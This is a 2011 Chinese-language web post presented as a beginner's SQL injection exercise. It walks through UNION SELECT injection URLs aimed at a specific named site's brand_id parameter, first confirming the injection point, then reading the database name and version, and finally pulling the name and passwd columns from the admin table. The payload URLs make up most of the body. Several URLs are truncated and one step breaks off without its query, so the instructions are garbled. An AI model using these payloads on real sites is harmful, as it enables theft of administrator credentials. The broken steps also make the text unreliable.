武汉SEO > 网站安全其它 > 新手练习PHP注入例子

新手练习PHP注入例子

[ 来自: 武汉网络推广   发布者: 管理员  发布时间: 2011-07-30 12:15:35  浏览次数: ]

 

1。比如找到一个php注入点:http://www.80lr.com/xxxx.php?brand_id=1 and 1=1 回显正常,and 1=2 回显与第一页不一样.说明有注入点。

2。进行猜解:http://www.80lr.com/xxxx.php?brand_...2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*

注:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/* 这就是传说中的 Ascii逐字解码法

我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

也就是说如果ID=1(admin管理)的username长度大于0,则条件成立。

接着就是,1、,2、,3这样测试下去,一直到条件成立为止,比如,7成立,,8不成立

就可以得库名、列名。我们在再and (sele....前加上admin 1=2

既:http://www.80lr.com/xxxx.php?brand_...2%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

这里我们猜到了数字3是数据库名,够造Url.见下.

http://www.80lr.com/xxxx.php?brand_...2%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

同样查询version()可以得到程序的版本.database(),version()是系统变量。

http://www.80lr.com/xxxx.php?brand_...2%20union%20select%201,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20admin

以上Url查出管理员所在的表数字.按回显数字是3.我们就把3改成name或usename。

http://www.80lr.com/xxxx.php?brand_...2%20union%20select%201,2,database(),4,name,6,7,8,9,10,11,12,13,14,15,16,17%20from%20admin

回显出一个admin,还有一个数字7.我们就把7改成passwd或pass

http://www.80lr.com/xxxx.php?brand_...2%20union%20select%201,2,database(),4,name,6,passwd,8,9,10,11,12,13,14,15,16,17%20from%20admin
 

 

设为首页 | 加入收藏 | 网站建设 | 网站优化 | 网站维护 | 网络维护 | 网站地图 | 武汉SEO论坛
早教黄金搭档怎么样,双语不用教,幼儿双语不用教,一分钟速算多少钱,一分钟速算,如何教育孩子,杜云生绝对成交视频,杜云生销售全集,小吃技术,特色小吃,金正昆讲礼仪全集,口臭的治疗方法,狐臭的最佳治疗方法,跑步机十大品牌,鹅绒被十大品牌,蚕丝被十大品牌,羽绒被十大品牌,真皮床,真皮沙发十大品牌,汽车节油器